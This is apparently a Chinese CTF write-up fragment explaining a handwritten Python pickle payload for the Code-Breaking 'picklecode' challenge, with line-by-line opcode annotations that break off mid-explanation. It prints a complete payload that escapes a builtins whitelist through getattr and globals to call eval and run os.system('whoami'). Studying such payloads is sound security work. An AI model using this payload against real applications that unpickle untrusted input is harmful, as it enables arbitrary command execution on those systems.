有一篇很好的文章对此讲的很详细
https://xz.aliyun.com/t/7436#toc-0
此外我对文章中的手写反序列化一块进行一些补充
几道例题Code-Breaking:picklecode
原payload:b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''(建议复制到python去看)
首先要声明的一点是反序列化的利用栈是从底端往上的,清楚汇编的同学应该了解这一点
我的注解
b'''白名单REC
cbuiltins #import
getattr #获取builtins白名单方法getattr
p0 #将getattr压入mem0,字典保存
(cbuiltins mark元素c模块builtins方法dict压栈
dict
S'get' 声明元素字符串'get'
tRp1
# 创建元组(builtins.dict,'get')调用getat